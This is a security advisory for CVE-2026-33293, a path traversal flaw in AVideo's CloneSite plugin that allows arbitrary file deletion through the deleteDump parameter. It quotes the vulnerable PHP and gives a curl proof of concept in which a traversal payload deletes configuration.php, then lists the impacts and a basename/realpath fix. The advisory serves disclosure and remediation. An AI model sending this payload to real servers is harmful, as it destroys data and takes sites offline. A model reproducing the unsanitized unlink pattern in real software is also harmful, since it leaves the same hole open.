CVE-2026-33293

Description

## Summary The `deleteDump` parameter in `plugin/CloneSite/cloneServer.json.php` is passed directly to `unlink()` without any path sanitization. An attacker with valid clone credentials can use path traversal sequences (e.g., `../../`) to delete arbitrary files on the server, including critical application files such as `configuration.php`, causing complete denial of service or enabling further attacks by removing security-critical files. ## Details In `plugin/CloneSite/cloneServer.json.php`, the `$clonesDir` variable is set to the application's storage path appended with `clones/` (line 11). When a `deleteDump` GET parameter is provided, its value is concatenated directly into a path passed to `unlink()` with no validation: ```php // plugin/CloneSite/cloneServer.json.php:10-11 $videosDir = Video::getStoragePath() . ""; $clonesDir = "{$videosDir}clones/"; ``` ```php // plugin/CloneSite/cloneServer.json.php:44-46 if (!empty($_GET['deleteDump'])) { $resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}"); $resp->msg = "Delete Dump {$_GET['deleteDump']}"; die(json_encode($resp)); } ``` The intended functionality is to delete SQL dump files generated during the clone process (named via `uniqid()` at line 58). However, because `$_GET['deleteDump']` is never passed through `basename()`, `realpath()`, or any other path normalization function, an attacker can supply directory traversal sequences to escape the `$clonesDir` directory. Given a typical `$clonesDir` of `/var/www/html/videos/clones/`, the payload `../../videos/configuration.php` resolves to `/var/www/html/videos/configuration.php`. The authentication guard `thisURLCanCloneMe()` at line 38 requires a valid URL and matching key for an admin-approved clone entry (status `=== 'a'`). This is a service-level credential, not an admin session — any approved clone partner possesses these credentials as part of normal operations. The legitimate clone client at `cloneClient.json.php:275` only sends server-generated `$json->sqlFile` values (produced by `uniqid()`), but nothing prevents a holder of valid credentials from crafting a manual HTTP request with an arbitrary `deleteDump` value. ## PoC **Prerequisites:** A valid clone URL and key pair registered and approved by an admin. **Step 1:** Verify the target file exists (e.g., the application configuration file). ```bash curl -s "https://avideo.local/videos/configuration.php" -o /dev/null -w "%{http_code}" # Expected: 200 (or 302/403 — file exists and is served/protected) ``` **Step 2:** Send the path traversal payload via the `deleteDump` parameter. ```bash curl -s "https://avideo.local/plugin/CloneSite/cloneServer.json.php?url=https://approved-clone.local&key=VALID_CLONE_KEY&deleteDump=../../videos/configuration.php" ``` **Expected response:** ```json {"error":false,"msg":"Delete Dump ..\/..\/videos\/configuration.php","url":"https:\/\/approved-clone.local","key":"VALID_CLONE_KEY","useRsync":0,"videosDir":"\/var\/www\/html\/videos\/","sqlFile":"","videoFiles":[],"photoFiles":[]} ``` `"error":false` confirms `unlink()` returned `true` — the file was successfully deleted. **Step 3:** Confirm deletion. ```bash curl -s "https://avideo.local/videos/configuration.php" -o /dev/null -w "%{http_code}" # Expected: 404 or 500 — file no longer exists ``` **Step 4:** At this point the entire AVideo application is broken, as `configuration.php` contains database credentials and is `require_once`'d by nearly every endpoint. ## Impact - **Arbitrary file deletion:** An attacker can delete any file readable by the web server process, including application source code, configuration files, uploaded media, and database dumps containing credentials. - **Complete denial of service:** Deleting `configuration.php` renders the entire AVideo installation non-functional. Every page load will fatal-error on the missing `require_once`. - **Security control bypass:** Deleting `.htaccess` files or other access-control configurations can expose otherwise-protected directories and files. - **Data loss:** Uploaded videos, user photos, and SQL backups stored under the videos directory can be permanently destroyed. - **Potential escalation:** Deleting specific files (e.g., plugin configurations, auth modules) may weaken the application's security posture and enable further attacks. ## Recommended Fix Apply `basename()` to the `deleteDump` parameter to strip any directory traversal components, ensuring the deletion is restricted to files within `$clonesDir`: ```php // plugin/CloneSite/cloneServer.json.php:44-48 if (!empty($_GET['deleteDump'])) { $deleteDump = basename($_GET['deleteDump']); $filePath = "{$clonesDir}{$deleteDump}"; if (strpos(realpath($filePath), realpath($clonesDir)) !== 0) { $resp->msg = "Invalid file path"; die(json_encode($resp)); } $resp->error = !unlink($filePath); $resp->msg = "Delete Dump {$deleteDump}"; die(json_encode($resp)); } ``` The fix applies defense-in-depth: `basename()` strips path components, and the `realpath()` check ensures the resolved path is still within the intended directory even if `basename()` behavior changes across PHP versions.